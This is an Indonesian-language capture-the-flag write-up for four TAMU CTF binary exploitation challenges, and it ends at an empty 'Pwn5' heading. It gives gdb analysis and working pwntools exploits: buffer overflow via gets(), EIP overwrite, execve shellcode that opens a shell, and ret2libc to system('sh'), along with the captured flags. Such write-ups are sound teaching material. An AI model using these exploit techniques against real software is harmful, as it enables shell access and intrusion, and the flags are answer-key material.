Pwn1

Diberikan sebuah file binary dengan informasi sebagai berikut

Percobaan debugging menggunakan gdb

$ gdb -q pwn1
Reading symbols from pwn1...(no debugging symbols found)...done.
gdb-peda $ pdisass main 

Berikut hasil disassable fungsi main

   0x080485cf <+29>:    call   0x8048410 <setvbuf@plt>
   0x080485d4 <+34>:    add    esp,0x10
   0x080485d7 <+37>:    sub    esp,0xc
   0x080485da <+40>:    push   0x8048700
   0x080485df <+45>:    call   0x80483f0 <puts@plt>
   0x080485e4 <+50>:    add    esp,0x10
   0x080485e7 <+53>:    sub    esp,0xc
   0x080485ea <+56>:    push   0x8048720
   0x080485ef <+61>:    call   0x80483f0 <puts@plt>
   0x080485f4 <+66>:    add    esp,0x10
   0x080485f7 <+69>:    sub    esp,0xc
   0x080485fa <+72>:    push   0x804875f
   0x080485ff <+77>:    call   0x80483f0 <puts@plt>
   0x08048604 <+82>:    add    esp,0x10
   0x08048607 <+85>:    mov    DWORD PTR [ebp-0xc],0x0
   0x0804860e <+92>:    sub    esp,0xc
   0x08048611 <+95>:    lea    eax,[ebp-0x23]
   0x08048614 <+98>:    push   eax
   0x08048615 <+99>:    call   0x80483d0 <gets@plt>
   0x0804861a <+104>:   add    esp,0x10
   0x0804861d <+107>:   cmp    DWORD PTR [ebp-0xc],0xf007ba11
   0x08048624 <+114>:   jne    0x804862d <main+123>
   0x08048626 <+116>:   call   0x804854b <print_flag>
   0x0804862b <+121>:   jmp    0x804863d <main+139>
   0x0804862d <+123>:   sub    esp,0xc
   0x08048630 <+126>:   push   0x8048772
   0x08048635 <+131>:   call   0x80483f0 <puts@plt>
   0x0804863a <+136>:   add    esp,0x10
   0x0804863d <+139>:   mov    eax,0x0
   0x08048642 <+144>:   mov    ecx,DWORD PTR [ebp-0x4]
   0x08048645 <+147>:   leave  
   0x08048646 <+148>:   lea    esp,[ecx-0x4]
   0x08048649 <+151>:   ret    

Terlihat terdapat penggunaan fungsi gets() yang vulnerable buffer overflow. dan inputan akan disimpan di ebp-0x23. lalu pada terdapat intruksi

cmp    DWORD PTR [ebp-0xc],0xf007ba11

Yang akan membandingkan ebp-0xc dengan 0xf007ba11. perlu dilakukan overwrite local variable karena ebp-0xc di inisialisasi dengan nilai 0 mov DWORD PTR [ebp-0xc],0x0.

Jarak antara ebp-0xc dan ebp-0x23 adalah 23 bytes.

gdb-peda$ distance $ebp-0xc $ebp-0x23
From 0xfffffff4 to 0xffffffdd: -23 bytes, -6 dwords (+1 bytes)

Berikut exploit code yang digunakan

from pwn import *

secret = p32(0xf007ba11)
r = remote("pwn.ctf.tamu.edu",4321)
r.recv(1024)
payload = "A" * 23 + secret
r.sendline(payload)

print r.recv()

Flag : gigem{H0W_H4RD_1S_TH4T?}

Pwn2

Diberikan sebuah file binary dengan informasi berikut

Sama seperti pada pwn1, perbedaan nya pwn2 harus jump ke fungsi print_flag yang berada di 0804854b

Untuk mengetahui jumlah pattern untuk overwrite EIP. mengurangi Buffer inputan dengan return address, ebp+0x4 adalah return address untuk 32 bit dan rbp+8 untuk 64 bit.

gdb-peda$ distance $ebp-0xef $ebp+0x4
From 0xffffc3d9 to 0xffffc4cc: 243 bytes, 60 dwords (+3 bytes)

Berikut exploit code nya

from pwn import *

print_flag = p32(0x804854b)
payload = "A" * 243 + print_flag
r = remote("pwn.ctf.tamu.edu", 4322)
r.recv(1024)
r.sendline(payload)

print r.recvall()

Flag : gigem{3ch035_0f_7h3_p4s7}

Pwn3

Diberikan sebuah file binary dengan informasi berikut

Perbedaan pwn3 dan pwn sebelum nya adalah pada pwn3 harus menginjeck Shellcode

Apabila didebug pada bagian Your random number 0xffa6f2aa!, random number tersebut adalah lokasi buffer inputan akan disimpan (stack).

Berikut exploit code nya

from pwn import *

context.arch = "i386"
r = remote("pwn.ctf.tamu.edu", 4323)

sh = ""
sh += asm("xor eax,eax")
sh += asm("xor ecx,ecx")
sh += asm("push eax")
sh += asm("push 0x68732f2f")
sh += asm("push 0x6e69622f")
sh += asm("lea ebx,[esp]")
sh += asm("mov al,11")
sh += asm("int 0x80")
 
r.recvuntil("Your random number ")
stack_addr = int(r.recvline().split("!")[0],16)

print "Stack Addr : {}".format(hex(stack_addr))

payload = sh + "\x90" * (242-len(sh))+ p32(stack_addr)
r.sendline(payload)
r.interactive()

Flag : gigem{n0w_w3_4r3_g377in6_s74r73d}

Pwn4

Diberikan sebuah file binary dengan informasi berikut

Pada pwn4 menggunakan teknik Ret2Libc.

Payload adalah sebagai berikut :

Pattern +  function_addr + return_address + function_argument

Pada pwn4 payload seperti berikut :

"A" * 32 +  system_addr + "JUNK" + sh_string

sh_string adalah string sh didapatkan dari menggunakan find

gdb-peda$ find "sh"
Searching for 'sh' in: None ranges
Found 99 results, display max 99 items:
      ....
      pwn4 : 0x804a03d --> 0x60006873 ('sh')
      ....

Pada bagian return address diisi dengan JUNK karena memang diperlukan apabila sudah mendapatkan interactive shell.

Dan system_addr adalah fungsi system()

gdb-peda$ pdisass cal
Dump of assembler code for function cal:
   0x080485b2 <+14>:    call   0x8048430 <system@plt>

Berikut exploit code nya

from pwn import *


sh_string = p32(0x804a03d)
system_addr = p32(0x8048430)

r = remote("pwn.ctf.tamu.edu", 4324)

payload = "A" * 32 +  system_addr + "JUNK" + sh_string
r.recvuntil("Input> ")
r.sendline(payload)
r.interactive()

Flag : gigem{b4ck_70_7h3_l1br4ry}

Pwn5